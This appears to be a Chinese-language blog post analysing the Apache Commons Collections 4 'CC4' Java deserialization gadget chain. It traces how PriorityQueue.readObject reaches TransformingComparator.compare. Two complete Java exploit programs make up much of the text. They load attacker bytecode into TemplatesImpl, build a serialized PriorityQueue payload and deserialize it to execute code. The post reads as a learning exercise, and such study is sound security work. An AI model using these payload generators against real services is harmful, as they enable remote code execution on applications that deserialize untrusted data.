CommonsCollections4反序列化分析

cc4

调用链

Untitled

后半段的话和cc3差不多,只是改变了前面的入口,简单分析一下这条链子

首先看一下谁调用了ChainedTransformer的transform

Untitled

可以找到一处TransformingComparator的compare调用了transform

Untitled

如果继续找的话其实还有很多compare 我不懂,反正最后再PriorityQueue的readObject()有个利用点,

cc4前半段分析

Untitled

我们进入readObject中的heapify(),里面存在一个siftDown()方法

Untitled

进入seftDown()方法

Untitled

再进入siftDownUsingComparator(),在此处调用了conpare,这就是入口到中间的链子

Untitled

尝试一下构造EXP:

Untitled

尝试执行后无果 我们再heapify()设个断点,此时我们的size=0 所以size>>>1-1就等于-1

Untitled

我们至少让i初始值为0才能进入循环,也就是size初始值为2

Untitled

所以我们要增加队列为2

Untitled

但是尝试一下之后还是报错了,这里的原因是因为在add(2)的时候也会触发一系列链子导致本地执行,我们简单分析看一下:

Untitled

Untitled

size的初始值为0,所以可以理解add(1)的时候 i0 所以不会触发siftup,但是当我们add(2)的时候,size再+1之前被赋值给i,此时i1,就会触发siftup函数,跟进一下

Untitled

我们初始化有comparator 所以就会进入siftUpUsingComparator中,然后会在if条件中触发compare

(当然我们的k就是之前赋值过来的I,肯定是>0的)

Untitled

而字节码加载的某个类只有在反序列化时才会自动加载进来,所以会报错,那这里就像URLDNS链一样解决就好了。

  setFieldValue(transformingComparator,"transformer",chainedTransformer);

EXP1:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

// 主程序
public class cc4test {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "calc");

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { obj })
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue  priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        setFieldValue(transformingComparator,"transformer",chainedTransformer);

//        serialize(priorityQueue);
        unserialize("s.bin");
    }

    //序列化数据
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("s.bin"));
        oos.writeObject(obj);
    }

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

无需Transformer数组的EXP

上面的EXP最后还是需要用到Transformer数组,原因还是我们前面是无法控制transform调用链中的第一个传参而导致我们需要传入一个ConstantTransformer 等等等等,但是我们在cc3中学过一个函数InstantiateTransformer ,就对接cc3的后半段思路就行了

Untitled

那么这个地方是怎么解决可以自己选择传参呢?延续cc3中对PriorityQueue.object的分析,当我们反序列化进入到siftDownUsingComparaotr的时候会传入一个k 和x ,k就是队列下标,x就是对应下标的内容,我们知道2个队列的时候只有下标为0的那个队列会触发这个函数

Untitled

然后下一步就会进入到TransformingComparator 的compare方法中,当然我们的x ,就是我们可控的下表为0的队列也会在如下图的地方被传入

Untitled

然后接着被传入到我们下面的transformer.transform()中,而transformer我们可以通过构造函数把他初始化成为InstantiateTransformer

Untitled

会看我们初始化的InstantiateTransformer

        
        //byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
        //TemplatesImpl obj = new TemplatesImpl();
        //setFieldValue(obj, "_bytecodes", new byte[][] {code});
        //setFieldValue(obj, "_name", "calc");

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{obj});

再看一下他的transform方法

Untitled

此时input就是我们可控的下标为0的队列,然后结合cc3,我们就完成了一系列的可控的反序列化了

EXP2

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc4test2 {

    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "calc");

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{obj});

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(TrAXFilter.class);
        priorityQueue.add(2);

        setFieldValue(transformingComparator,"transformer",instantiateTransformer);
        serialize(priorityQueue);
        unserialize("serzsd.bin");

    }
    //序列化数据
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serzsd.bin"));
        oos.writeObject(obj);
    }

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

参考资料:

posted @ 2023-03-13 16:27  z2n3  阅读(67)  评论(0编辑  收藏  举报